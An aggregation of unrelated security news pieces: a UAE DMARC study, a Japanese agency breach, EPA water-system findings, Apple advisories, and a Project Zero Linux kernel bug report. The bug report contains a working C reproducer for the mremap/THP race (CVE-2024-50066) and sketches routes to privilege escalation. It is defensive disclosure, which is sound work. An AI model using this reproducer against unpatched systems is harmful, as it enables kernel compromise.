Google has introduced a new feature called Restore Credentials to help users restore their account access to third-party apps securely after migrating to a new Android device.
Part of Android's Credential Manager API, the feature aims to reduce the hassle of re-entering the login credentials for every app during the handset replacement.
"With Restore Credentials, apps can seamlessly onboard

Google's New Restore Credentials Tool Simplifies App Login After Android Migration

Only 1.11% of UAE's 37,926 .ae domains have implemented DMARC, leaving most vulnerable to phishing and and spoofing attacks.

****Summary****

*   **Only 1.11% of UAE’s 37,926 .ae domains have implemented DMARC.**

*   **Among DMARC adopters, only 30.48% enforce a strict “reject” policy.**

*   **UAE’s DMARC adoption rate is lower than India (46%) and Germany (4.55%).**

*   **Low DMARC implementation exposes UAE businesses to phishing and spoofing.**

*   **Experts urge widespread adoption of DMARC with strict policies to improve email security.**

A recent study conducted by EasyDMARC, an email authentication platform, revealed that 99% of top-level .ae domains in the United Arab Emirates (UAE) are vulnerable to phishing and other types of cyber attacks.

The research, which analyzed 37,926 domains, revealed that a mere 1.11% (420) have implemented the Domain-based Message Authentication, Reporting, and Conformance (DMARC) standard, a vital tool for protecting against phishing and spoofing attacks.

****What is DMARC?****

DMARC is an internationally recognized standard that helps verify the authenticity of email messages. It functions by enabling organizations to define policies for handling emails that fail authentication checks.

Consider DMARC a proven security solution protecting businesses and individuals from malicious actors who attempt to impersonate legitimate entities through malicious emails.

****The Study****

Among the 420 UAE domains that have implemented DMARC, only 30.48% have set their protocols to reject non-compliant email traffic, providing the highest level of protection. 40.24% have configured their policies to only monitor incoming traffic without taking action, leaving them exposed to potential threats. The remaining 29.29% have chosen to quarantine suspicious emails, offering partial security by diverting them to the junk folder.

Compared to other regions, the UAE’s DMARC adoption rate falls short. In India, 46% of domains have implemented DMARC protocols, while Germany has a 4.55% adoption rate, showing the UAE’s need to catch up in email security practices.

The low adoption rate of DMARC in the UAE, given the increasing frequency of cyberattacks in the region, is questionable. Last year alone, ransomware attacks cost the UAE an estimated $1 billion, highlighting the urgent need for improved email security measures.

Gerasim Hovhannisyan, CEO and co-founder of EasyDMARC highlighted the need for strong domain authentication, stating, “Email continues to be the backbone of business communication, yet the growing influence of AI is increasing the potential for sophisticated phishing and spoofing attacks. Without proper security measures, UAE organizations risk exposure to cyber events that could lead to substantial financial and reputational damage.”

****Adopt DMARC****

As the UAE positions itself as a regional hub for commerce, trade, and wealth, it has become a prime target for cybercriminals. At the same time, while email remains a base of business communication, an increase in AI-driven phishing attacks exposes businesses even further.

The solution is simple: To address this vulnerability, businesses and organizations in the UAE must adopt DMARC and configure it with strict enforcement policies.

1.  Stolen UAE InvestBank Data Sold on Dark Web
2.  US Gov Agencies Impersonated in DocuSign Phishing Scams
3.  In UAE Supporting Qatar on the Internet is Now a Cybercrime
4.  Google takes on sites with ties to hack-for-hire groups in UAE
5.  Anonymous Sudan Claims DDOS Attacks on UAE’s Flydubai Airline

99% of UAE’s .ae Domains Exposed to Phishing and Spoofing

Government agencies and non-governmental organizations in the United States have become the target of a nascent China state threat actor known as Storm-2077.
The adversary, believed to be active since at least January 2024, has also conducted cyber attacks against the Defense Industrial Base (DIB), aviation, telecommunications, and financial and legal services across the world, Microsoft said.

Google Exposes GLASSBRIDGE: A Pro-China Influence Network of Fake News Sites

A local government resource for helping Japanese citizens cut ties with organized crime was successfully phished in a tech support scam, and could have dangerous consequences.

Source: Robert Gilhooly via Alamy Stock Photo

Japan's web of ruthless Yakuza organized crime syndicates continues to operate, threatening the country's citizens with everything from extortion to gangland murders. Local agencies within communities are set up to help those who get involved with gangsters — but unfortunately, one of them has been hacked, potentially leading to physical safety consequences for the victims.

The Kumamoto Prefecture Violence Prevention Movement Promotion Center said that 2,500 people who have used its counseling services (which aid with everything from evading extortion to disentangling romantically from Yakuza members) have been impacted by a data breach following a successful phishing effort.

"On November 15th, a center staff member was directed to a support fraud website while working and was illegally accessed," according to an "apology" notice on the agency's website (via Google Translate). "When the staff member noticed something was wrong, he immediately cut off the power and network connection of the computer terminal, but we cannot deny the possibility that data including personal information used in work may have been leaked."

That information could include addresses, phone numbers, and names: “If you receive a phone call or mail using the name or staff of the 'Violence Prevention Movement Promotion Center' at your address or workplace, please immediately report it … without responding to the request of the other party or opening the mail.”

Beyond follow-on phishing or fraud calls however, the information could be valuable for syndicates looking for those who have left "the life" or extortion victims who got away. The center is contacting those who may have been affected.

**About the Author**

Yakuza Victim Data Leaked in Japanese Agency Attack

At least 97 major water systems in the US have serious cybersecurity vulnerabilities and compliance issues, raising concerns that cyberattacks could disrupt businesses, industry, and the lives of millions of citizens.

Source: Clare Louise Jackson via Shutterstock

Despite a spate of recent cyberattacks raising the awareness of water-infrastructure vulnerabilities, nearly 100 large community water systems (CWS) continue to have serious security weaknesses in Internet-facing systems, putting the water supply of nearly 27 million Americans at risk.

The critical and high-severity vulnerabilities affect more than 9% of the 1,062 water systems in the United States that serve at least 50,000 people, according to an Environmental Protection Agency (EPA) report released on Nov. 13. The vulnerabilities were discovered through passive assessments conducted in October that looked at more than 75,000 IP addresses and 14,400 domains.

Overall, millions of citizens — along with businesses, schools, and hospitals — rely on the affected water systems. "If malicious actors exploited the cybersecurity vulnerabilities we identified in our passive assessment, they could disrupt service or cause irreparable physical damage to drinking water infrastructure," the EPA stated.

Over the past three years, water systems have become increasingly targeted by state-sponsored groups, ransomware gangs, and hacktivists. In 2023, Iran-linked cyberattackers compromised programmable logic controllers (PLCs) at a water utility in Pennsylvania, as well as 10 wastewater treatment plants in Israel. In 2021, a hacker targeted a water treatment plant in Florida and even changed the chemical mixture for the water, but did not have the sophistication to evade detection. In September, a water treatment plant in Arkansas City, Kan., switched to manual operation after the facility was the target of a cybersecurity incident.

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Water system vulnerabilities are a critical issue that could impact businesses, especially power-generation systems and data centers, but especially have the potential to cause human harm, says Vinod D'Souza, head of manufacturing and industry in the Office of the CISO at Google Cloud.

"Water utilities are unique in the \[operational technology\] OT world because they directly impact public health, requiring stringent security to prevent catastrophic consequences like contaminated water supplies," he says. "Their geographical spread and complex systems pose distinct cybersecurity challenges not found in other sectors."

**Water, Water, Everywhere ... Nary a Drop of Security?**

The United States has nearly 150,000 water systems, consisting of three types of public infrastructure. Community water systems (CWS) provide water to residents living in a town or city year-round and account for approximately a third (33.7%) of water systems. Transient noncommunity water systems (TNCWS) supply water to travelers and visitors to a specific location — such as a campground or gas station — but not on a permanent basis. These make up 54.3% of public water systems. The final 12% of systems consist of nontransient noncommunity water systems (NTNCWS), which provide water to people in nonresidential locations — such as schools, businesses, and hospitals.

Related:Going Beyond Secure by Demand

Because many water agencies are small and serving communities, they face the same challenges as other local government agencies: a lack of resources, legacy technology, architectures that were not designed to be defensible, and a lack of visibility, says Paul Shaver, global practice lead for ICS/OT security consulting at Google Cloud's Mandiant division.

"This is compounded by the fact that many municipal water agencies have financial constraints that make it difficult to identify risk and develop security capabilities that are appropriate for their organization size," he says.

By EPA regulation, any water systems serving more than 3,300 people must conduct risk assessments, including cybersecurity assessments, and develop emergency response plans. But most do not have the money, and without the funding, the utilities are hard pressed to comply with regulations, Shaver says.

Related:Small US Cyber Agencies Are Underfunded & That's a Problem

The criticality of these systems and their relative lack of protection has government officials worried. In May, the EPA warned that Iran and Russia had stepped up their attacks on water systems in the United States, while the Cybersecurity and Infrastructure Security Agency (CISA) released a cyber-incident response guide for the water and wastewater sector earlier this year.

The May 2024 alert from the EPA noted that "water systems had inadequate risk and resilience assessments and emergency response plans ... \[and\] found significant failures in best practices, such as failure to change default passwords, use of single logins for all staff, and failure to curtail access by former employees."

**US Needs More Investment in Water System Cyber Defense**

Even with the current requirements, many water utilities are already failing to meet their cybersecurity obligations, Google Cloud's D'Souza says.

"Simply increasing regulations won't solve this problem, and merely highlights the financial constraints preventing utilities from adequately protecting critical infrastructure," he says.

Overall, the federal government needs to do more than offer regulations and best practices. In many respects, the water sector is no different than any other critical infrastructure sector with a great deal of operational technology, says Sean Arrowsmith, head of industrials at NCC Group, a cybersecurity consultancy.

"Generally, OT protocols were designed when security was not so much of a consideration but the devices and infrastructure they run is deployed for a long lifetime and now there are business drivers to collect data from them and converge OT with IT, which is where the security challenges arise," he says.

In addition, Arrowsmith says that the amount of legacy infrastructure and breadth of the attack surface area continues to make securing water infrastructure challenging.

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Leaky Cybersecurity Holes Put Water Systems at Risk

A security-relevant race between mremap() and THP code has been discovered. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.

    SummaryI found a security-relevant race between mremap() and THP code. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.I also found two other (untested) theoretical races, but those arguably might not even count as bugs, and I'm pretty sure they're not security bugs. I am including my analysis of the closely related non-issues 2 and 3 as context in case you're curious, but I think they're stuff we can deal with on the public list later (or maybe even just leave as-is). Feel free to ignore that part of this report.I will send a suggested patch for the security bug, but I think it's unclear if my patch is actually the right way to fix it.This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-12-31.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlSecurity bug: move_normal_pmd vs MADVISE_COLLAPSEDescriptionIn mremap(), move_page_tables() looks at the type of the PMD entry and the specified address range to figure out by which method the next chunk of page table entries should be moved. At that point, the mmap_lock is held in write mode, but no rmap locks are held. For PMD entries that point to page tables and are fully covered by the source address range, move_pgt_entry(NORMAL_PMD, ...) is called, which first takes rmap locks, then does move_normal_pmd().move_normal_pmd() takes the necessary page table locks at source and destination, then moves an entire page table from the source to the destination:        /* Clear the pmd */        pmd = *old_pmd;        pmd_clear(old_pmd);        VM_BUG_ON(!pmd_none(*new_pmd));        pmd_populate(mm, new_pmd, pmd_pgtable(pmd));        flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);The problem is: The rmap locks, which protect against concurrent page table removal by retract_page_tables() in the THP code, are only taken after we have inspected the PMD entry to decide how to move it. So we can race as follows (with two processes that have mappings of the same tmpfs file that is stored on a tmpfs mount with huge=advise):process A                      process B=========                      =========mremap  mremap_to    move_vma      move_page_tables        get_old_pmd        alloc_new_pmd                      *** PREEMPT ***                               madvise(MADV_COLLAPSE)                                 do_madvise                                   madvise_walk_vmas                                     madvise_vma_behavior                                       madvise_collapse                                         hpage_collapse_scan_file                                           collapse_file                                             retract_page_tables                                               i_mmap_lock_read(mapping)                                               pmdp_collapse_flush                                               i_mmap_unlock_read(mapping)        move_pgt_entry(NORMAL_PMD, ...)          take_rmap_locks          move_normal_pmd          drop_rmap_locksIn this case, while move_normal_pmd() expects to see a PMD entry pointing to a page table, the PMD entry has actually been cleared. So this line:pmd_populate(mm, new_pmd, pmd_pgtable(pmd));runs pmd_pgtable() on a cleared PMD entry. On typical implementations (including the X86 one), this simply masks off some bits of pmd and assumes that the remainder is a physical address - so pmd_pgtable(0) returns a pointer to the page for physical address 0. Then, pmd_populate() constructs a PMD entry that points to this physical address as a page table.So this ends up installing physical address 0 as a page table.Fixing itI guess there are two ways we could fix this:    Hold the rmap locks much more broadly in move_page_tables(). In particular, take them before inspecting the source pmd, and if we do a PMD-level move, keep them held throughout the entire move.    Add a bunch of extra recheck/retry logic.I think the first option is nicer in terms of code complexity. Moving the lock up requires a small bit of refactoring though, and the broader locking could conceivably degrade the performance of concurrent rmap access.I will send a suggested patch for the first option in a minute (and I have tested that with that patch, my reproducer no longer triggers); but we might want to do some more bikeshedding of whether this is the right way to patch it, and if yes, whether the patch is doing too little lock-dropping for performance or adds too much complexity with the lock-dropping...ReproducerI made a testcase that triggers this issue after a while and causes a splat when the kernel later tries to unmap this page table at physical address 0:#define _GNU_SOURCE#include <err.h>#include <sched.h>#include <stdio.h>#include <string.h>#include <fcntl.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mount.h>#include <sys/mman.h>#include <sys/wait.h>#include <sys/ioctl.h>static void pin_to(int cpu) {  cpu_set_t cset;  CPU_ZERO(&cset);  CPU_SET(cpu, &cset);  if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))    err(1, "set affinity");}#ifndef MADV_COLLAPSE#define MADV_COLLAPSE 25#endif#define SYSCHK(x) ({          \  typeof(x) __res = (x);      \  if (__res == (typeof(x))-1) \    err(1, "SYSCHK(" #x ")"); \  __res;                      \})static void write_file(char *name, char *buf) {  int fd = SYSCHK(open(name, O_WRONLY));  if (write(fd, buf, strlen(buf)) != strlen(buf))    err(1, "write %s", name);  close(fd);}static void write_map(char *name, int outer_id) {  char buf[100];  sprintf(buf, "0 %d 1", outer_id);  write_file(name, buf);}int main(void) {  // set up new mount ns for tmpfs with THP  int outer_uid = getuid();  int outer_gid = getgid();  SYSCHK(unshare(CLONE_NEWNS|CLONE_NEWUSER));  SYSCHK(mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));  write_file("/proc/self/setgroups", "deny");  write_map("/proc/self/uid_map", outer_uid);  write_map("/proc/self/gid_map", outer_gid);  // make tmpfs with THP  SYSCHK(mount("none", "/tmp", "tmpfs", MS_NOSUID|MS_NODEV, "huge=advise"));  pin_to(0);  while (1) {    int fd = SYSCHK(open("/tmp/a", O_RDWR|O_CREAT, 0600));    void *ptr = SYSCHK(mmap((void*)0x200000UL, 0x200000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0));    SYSCHK(ftruncate(fd, 0x1000));    *((volatile char *)ptr) = 'a';    SYSCHK(ftruncate(fd, 0x200000));    SYSCHK(madvise(ptr, 0x200000, MADV_HUGEPAGE));    close(fd);    SYSCHK(unlink("/tmp/a"));    int child = SYSCHK(fork());    if (child == 0) {      for (int i=0; i<512; i++)        ((volatile char *)ptr)[0x1000*i] = 'a';      struct sched_param param = { .sched_priority = 0 };      SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param));      /* race (outer side, will be preempted) */      SYSCHK(mremap((void*)0x200000, 0x200000, 0x200000, MREMAP_MAYMOVE|MREMAP_FIXED, (void*)0x40000000));      return 0;    }    for (int i=0; i<512; i++)      ((volatile char *)ptr)[0x1000*i] = 'a';    usleep(10);    /* race (inner side, will preempt after timer and voluntary resched) */    int madv_res = madvise(ptr, 0x200000, MADV_COLLAPSE);    if (madv_res == -1)      fprintf(stderr, "_");    int wstatus;    SYSCHK(waitpid(child, &wstatus, 0));    SYSCHK(munmap(ptr, 0x200000));    fprintf(stderr, ".");  }}Usage:user@vm:~/collapse-vs-mremap$ gcc -o collapse-vs-mremap-2-noassist collapse-vs-mremap-2-noassist.cuser@vm:~/collapse-vs-mremap$ ./collapse-vs-mremap-2-noassist.................................................................................................................................Result on Linux 6.11 in a QEMU VM, where a bunch of non-zero data is left over in the first 0x1000 bytes of physical memory (note the pmd:00000067):[  120.427189] BUG: Bad page map in process collapse-vs-mre  pte:f000ff53f000ff53 pmd:00000067[  120.428763] addr:0000000040000000 vm_flags:200000fb anon_vma:0000000000000000 mapping:ffff888007dd70f8 index:0[  120.430526] file:a fault:shmem_fault mmap:shmem_mmap read_folio:0x0[  120.431706] CPU: 0 UID: 1000 PID: 1219 Comm: collapse-vs-mre Tainted: G        W          6.11.0 #493[  120.433591] Tainted: [W]=WARN[  120.434201] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014[  120.435849] Call Trace:[  120.436375]  <TASK>[  120.436843]  dump_stack_lvl+0x53/0x70[  120.437570]  print_bad_pte+0x4e6/0x8e0[...][  120.447625]  vm_normal_page+0x1c8/0x260[...][  120.450162]  unmap_page_range+0x914/0x3d10[...][  120.456954]  unmap_vmas+0x1cc/0x390[...][  120.461123]  exit_mmap+0x160/0x6c0[...][  120.465181]  mmput+0xa0/0x3a0[  120.465793]  do_exit+0x7cd/0x27f0[...][  120.472198]  do_group_exit+0xac/0x230[  120.472916]  __x64_sys_exit_group+0x3e/0x50[  120.473722]  x64_sys_call+0x17f3/0x1800[  120.474469]  do_syscall_64+0x4b/0x110[  120.475189]  entry_SYSCALL_64_after_hwframe+0x76/0x7e[...][  120.489560]  </TASK>On other machines where physical page 0 contains only zeroes, the error is different and the kernel complains about the mm's pagetable bytes counter being -4096 on process exit.ImpactReaching this bug requires that you can create shmem/file THP mappings - anonymous THP uses different code that doesn't zap stuff under rmap locks. File THP is gated on an experimental config flag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need shmem THP to hit this bug. (Some Android kernels set CONFIG_READ_ONLY_THP_FOR_FS=y, but those kernels are older than 6.6, so they're not affected.)As far as I know, getting shmem THP normally requires that you can mount your own tmpfs with the right mount flags, so on normal Linux systems you usually need the ability to create your own user+mount namespace (like my reproducer does).If you trigger this bug in two different processes, or in two different locations in the same process, you should get physical page 0 mapped in two different places. Assuming you know that a certain part of the page contains zeroes, you should be able to get page table entries installed through one of the mappings, and then access those page table entries through the other mapping of the same page table.At that point, I think several bad things can happen that could lead to privilege escalation, though I haven't tested that:    When a PTE is zapped through the page table's first mapping, TLB flushes will only be done for the first mapping, but there can be TLB entries created through the second mapping. So you could probably end up with stale TLB entries pointing to freed pages.    If VMA 1 and VMA 2 share a page table, and you install an anonymous page through VMA 1, and then use mremap() on VMA 2 to move that PTE to another location, and then munmap() VMA 1, you'll end up with an anonymous page that's only mapped into a VMA that is not associated with the page's anon_vma, which leads to kernel UAF. (See https://project-zero.issues.chromium.org/issues/42451486 and https://git.kernel.org/linus/2555283eb40d .)I think the exploitability of this bug depends on whether a struct page has been allocated for physical address 0 - but that seems to be the case at least on the two X86 systems I tested this on.Non-issue 2 (no impact): move_ptes vs MADVISE_COLLAPSEmove_ptes() locks the source and destination page tables as follows:        old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);        if (!old_pte)                return -EAGAIN;        new_pte = pte_offset_map_nolock(mm, new_pmd, new_addr, &new_ptl);        if (!new_pte) {                pte_unmap_unlock(old_pte, old_ptl);                return -EAGAIN;        }        if (new_ptl != old_ptl)                spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);pte_offset_map_nolock() followed by manually taking the page table lock does not (unlike pte_offset_map_lock()) protect against concurrent removal of the page table via retract_page_tables(); and that can happen when need_rmap_locks is false. So I think that after this block, we can end up with new_pte pointing to a page table that has already been scheduled for RCU-delayed freeing. The good news is that (as far as I understand) this can only happen when all the PTEs in the source page table are pte_none(), so no PTEs will actually be written to the detached destination page table, so nothing bad happens.Non-issue 3 (probably no impact, untested): move_huge_pmd vs split_huge_page_to_list_to_orderThe classic way mremap() used to work is:    We make a new VMA.    We move page table entries into the new VMA with move_page_tables(), creating page tables if necessary. Only page table entries are moved; the old page tables stay where they are.    If a page table allocation fails due to OOM, or if the ->mremap handler returns an error, we use move_page_tables() to move the page table entries back to the old VMA; this is expected to always succeed, since the old page tables still exist, so page table allocation should not happen.As a comment in move_page_tables() explains:/* * On error, move entries back from new area to old, * which will succeed since page tables still there, * and then proceed to unmap new area instead of old. */However, that does not hold in the following scenario, assuming that the architecture does not define HAVE_MOVE_PMD (which permits mremap() to move entire page tables):    move_vma() calls move_page_tables()    move_page_tables() moves an anonymous huge PMD entry.    move_page_tables() tries to move more page table entries, but page table allocation fails, and the function returns early.    Another racing process causes the huge PMD entry to be split via split_huge_page_to_list_to_order() (turning the huge PMD entry into a PMD entry pointing to a page table whose PTEs point to all the subpages).    move_vma() calls move_page_tables() in the reverse direction to move PTEs back.    move_page_tables() unexpectedly needs to allocate a new page table to move the PTEs generated by the huge PMD split, which again fails. PTEs are left behind in the destination area.    do_vmi_munmap() removes the temporary destination VMA and removes the left-behind PTEs in the destination area.So in the end, an anonymous page has erroneously disappeared from the VMA, but I think that doesn't lead to any major consequences.FWIW, the architectures that define HAVE_ARCH_TRANSPARENT_HUGEPAGE without also defining HAVE_MOVE_PMD are: mips, loongarch, s390, sparc64, arc, arm.I think similar things can probably also happen on x86/arm64 if, when moving PTEs back with move_pgt_entry(HPAGE_PMD, ...), we race with a concurrent split_huge_page_to_list_to_order() such that move_huge_pmd() fails at the __pmd_trans_huge_lock() and we fall back to the move_ptes() path.CommentsAll commentsja...@google.com <ja...@google.com> #2Oct 15, 2024 11:05AMThe fix for the security bug is currently in the MM tree at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm.git/commit/?id=9118e3ff1212add463770537519dce4aed51cf94 , on the mm-hotfixes-unstable branch.ja...@google.com <ja...@google.com> #3Oct 22, 2024 09:28AMMarked as fixed, reassigned to ja...@google.com.Fix landed as https://git.kernel.org/linus/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa ("mm/mremap: fix move_normal_pmd/retract_page_tables race").In stable releases:    6.6.58 (2024-10-22)    6.11.5 (2024-10-22)Related CVE Number: CVE-2024-50066.Credit: Jann Horn

Linux 6.6 Race Condition

Apple Security Advisory 11-19-2024-5 - macOS Sequoia 15.1.1 addresses code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1

macOS Sequoia 15.1.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/121753.

Apple maintains a Security Releases page at  
https://support.apple.com/100100 which lists recent  
software updates with security advisories.

JavaScriptCore  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
actively exploited on Intel-based Mac systems.  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 283063  
CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's Threat  
Analysis Group

WebKit  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to a cross  
site scripting attack. Apple is aware of a report that this issue may  
have been actively exploited on Intel-based Mac systems.  
Description: A cookie management issue was addressed with improved state  
management.  
WebKit Bugzilla: 283095  
CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's Threat  
Analysis Group

macOS Sequoia 15.1.1 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/100100.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JSQACgkQX+5d1TXa  
Ivo92g/8Dm9sVuOeQTu56JLi2yAlbu9NK8Udb4ByFIsi63HWksJ6rK9LzZfTF8Yd  
Z3SBk7aIHl9tMj2gJ6QJ71SwCdN/fTnAC9na5fZwUjdsjuH1uoPmiMSA48MDwmQC  
vf6grIhskLNi0bQrpcKR1C79fmGlO7Nua3zmbvdvs41/3g3A7udvf2KpZTkkDrP4  
+zwsVCJCu4xHTo5bU0NrM/Cbon+TO01/gyhnngZzl65bIPkhyeEDiVHW3K6aKDA8  
XpClgMGe7ZIRao0hmqqK+YYPso/yDdUDpHlfEFL/YYseVThd+t6EPn4irWFPCPTv  
usiMVUpOpqmMHfPaVO/uzwDR/wgpB8ws4BsBjytQ2q5ZZgyxsIUx6cEJazgbRXtI  
UIJWgodel8AClhWrRo8c14rIuUH1jqMh8EcbimFdC62vSivuNgwNdBd5U2wRnELr  
w1I65s3u7f3Qly8himbl+41ueYcgInsVld7206tk8Ygmm7zA4kupLBEH+EeK43c3  
2P0NF7CMQCnJcwbEqusIUi8AOSN2VgGi9E6BjjJGnLhbbieX/ssKTTbv+mt0ctyq  
5uB3WUZBDbhJKj8p/0+iBAlzZUJDkrudmy8No9Zc2ImTcZ61gP2Zbh/5lcI8hZu+  
SKOrc+1s5nRW1FcGXL2ZzjtnmXnU6DGFfN7stVtTmVAg4dEWzeo=  
=IY5p  
-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-5

Apple Security Advisory 11-19-2024-4 - iOS 17.7.2 and iPadOS 17.7.2 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2iOS 17.7.2 and iPadOS 17.7.2 addresses the following issues.Information about the security content is also available athttps://support.apple.com/121754.Apple maintains a Security Releases page athttps://support.apple.com/100100 which lists recentsoftware updates with security advisories.JavaScriptCoreAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 6thgeneration and later, and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenactively exploited on Intel-based Mac systems.Description: The issue was addressed with improved checks.WebKit Bugzilla: 283063CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupWebKitAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 6thgeneration and later, and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to a crosssite scripting attack. Apple is aware of a report that this issue mayhave been actively exploited on Intel-based Mac systems.Description: A cookie management issue was addressed with improved statemanagement.WebKit Bugzilla: 283095CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/iTunes and Software Update on the device will automatically checkApple's update server on its weekly schedule. When an update isdetected, it is downloaded and the option to be installed ispresented to the user when the iOS device is docked. We recommendapplying the update immediately if possible. SelectingDon't Install will present the option the next time you connectyour iOS device.The automatic update process may take up to a week depending onthe day that iTunes or the device checks for updates. You maymanually obtain the update via the Check for Updates buttonwithin iTunes, or the Software Update on your device.To check that the iPhone, iPod touch, or iPad has been updated:* Navigate to Settings* Select General* Select About. The version after applying this update will be"iOS 17.7.2 and iPadOS 17.7.2".All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/100100.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JGcACgkQX+5d1TXaIvqaMhAArOKmA61hgLNGofjznuKQo6Jc42iPl7a/ZiB2Tq5ynZKPIGmGiM3HdJQ8bbifOgpkmNcA3h1OUlXnnkbdehq6d8MzI9WSn6uHdgWZ5LqLMXOWgsEF5Hwwmm7zaqTaqMv4fV2J6w2wTcoL5XptxGXiEi37/GzcureD3hvL+nRAAzR6c/gRXmcEjGL7pVTNJA0C8VyY9kG+Uc7ia2m5Riux2jsYzWYppPfCwUFeo3bQDexG7WsiHa00OZN+HkNS5/1t/7hftJZ+w/PbVnEK23Dm962NQgCrcFKGnbjNGJQlIjl+xfbi6BuQ6lJJZAI+3WqPHXLAMCcae/DfERqXWnJu8fTMfCwCbQVx185Cih+mtH0oc4MtPtiZdhi8TxZpVGZHYjLJa9VANTrNzkAmFflnhAC4tAG2FXx3ld3t/8u9Fhv0oyTa5HlzVYJ/WJgK32eT7I1h7Oqrp49KZcMIM8H6ZwNXYOI+Rf7GXdEN2y9Qhb+IOvdilTrCTpzRl6Gu6fBwH0G0UGHRktnBPlryJdOg26J1iVBZg6/K/CSjQizWdDXN/Nq4YwI17Eq4HtFdtOtrs5n0bDz+fsfGbsieTyUz1BUet2xLzPECfD4nYEKmckD1d/dRylc3vK9YGOCp1nWDoPSKnmkU9Il2SFAIuEM9o60lCN7PMWBrC9zYXMAxFmY==+VKC-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-4

Apple Security Advisory 11-19-2024-3 - iOS 18.1.1 and iPadOS 18.1.1 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1iOS 18.1.1 and iPadOS 18.1.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/121752.Apple maintains a Security Releases page athttps://support.apple.com/100100 which lists recentsoftware updates with security advisories.JavaScriptCoreAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch3rd generation and later, iPad Pro 11-inch 1st generation and later,iPad Air 3rd generation and later, iPad 7th generation and later, andiPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenactively exploited on Intel-based Mac systems.Description: The issue was addressed with improved checks.WebKit Bugzilla: 283063CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupWebKitAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch3rd generation and later, iPad Pro 11-inch 1st generation and later,iPad Air 3rd generation and later, iPad 7th generation and later, andiPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to a crosssite scripting attack. Apple is aware of a report that this issue mayhave been actively exploited on Intel-based 